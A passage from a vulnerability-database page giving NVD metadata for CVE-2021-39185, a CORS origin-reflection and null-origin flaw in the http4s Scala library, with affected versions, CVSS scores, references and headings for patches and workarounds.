            "https://github.com/http4s/http4s/releases/tag/v0.23.2",
            "https://github.com/advisories/GHSA-52cf-226f-rhr6"
          ],
          "uuid": "6fdfa421-9610-4373-9ddf-510efeb50453"
        }
      ]
    },
    "nvd.nist.gov": {
      "configurations": {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndIncluding": "0.21.26",
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndIncluding": "0.22.2",
                "versionStartIncluding": "0.22.0",
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:0.23.0:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:0.23.1:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone1:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone10:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone11:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone12:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone13:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone14:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone15:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone16:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone17:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone18:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone19:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone2:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone20:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone21:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone22:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone23:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone24:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone3:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone4:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone5:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone6:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone7:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone8:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone9:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      },
      "cve": {
        "CVE_data_meta": {
          "ASSIGNER": "security-advisories@github.com",
          "ID": "CVE-2021-39185"
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "en",
              "value": "Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "en",
                  "value": "CWE-346"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6",
              "refsource": "CONFIRM",
              "tags": [
                "Patch",
                "Third Party Advisory"
              ],
              "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
            },
            {
              "name": "https://github.com/http4s/http4s/releases/tag/v0.23.2",
              "refsource": "MISC",
              "tags": [
                "Third Party Advisory"
              ],
              "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
            }
          ]
        }
      },
      "impact": {
        "baseMetricV2": {
          "acInsufInfo": false,
          "cvssV2": {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "availabilityImpact": "NONE",
            "baseScore": 6.4,
            "confidentialityImpact": "PARTIAL",
            "integrityImpact": "PARTIAL",
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
            "version": "2.0"
          },
          "exploitabilityScore": 10.0,
          "impactScore": 4.9,
          "obtainAllPrivilege": false,
          "obtainOtherPrivilege": false,
          "obtainUserPrivilege": false,
          "severity": "MEDIUM",
          "userInteractionRequired": false
        },
        "baseMetricV3": {
          "cvssV3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "exploitabilityScore": 3.9,
          "impactScore": 5.2
        }
      },
      "lastModifiedDate": "2021-09-15T00:12Z",
      "publishedDate": "2021-09-01T20:15Z"
    }
  }
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2021-39185 (GCVE-0-2021-39185)

FKIE_CVE-2021-39185

GHSA-52CF-226F-RHR6

Impact

Origin reflection attack

Null origin attack

Patches

Migration

Workarounds

Explicit origins

0.21.x

0.22.x, 0.23.x, 1.x

Disable credentials

0.21.x

0.22.x, 0.23.x, 1.x

References

For more information

GSD-2021-39185

Tags

Sightings

Nomenclature

Related by attack behaviour